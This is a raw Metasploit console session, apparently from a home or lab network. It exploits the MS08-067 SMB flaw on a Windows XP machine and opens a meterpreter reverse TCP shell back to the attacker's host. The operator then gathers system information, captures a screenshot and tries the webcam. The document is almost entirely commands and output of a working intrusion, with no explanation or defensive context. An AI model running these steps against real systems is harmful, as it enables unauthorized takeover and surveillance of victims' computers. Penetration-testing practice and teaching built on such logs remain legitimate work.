```
       =[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.1.80
rhost => 192.168.1.80
msf6 exploit(windows/smb/ms08_067_netapi) > set rport 445
rport => 445
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176198 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.80:1113) at 2024-07-10 16:05:52 +0200

meterpreter > sysinfo
Computer        : WINDOWSXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : it_IT
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > screenshot
Screenshot saved to: /home/kali/JNxVpsNg.jpeg
meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter > _
```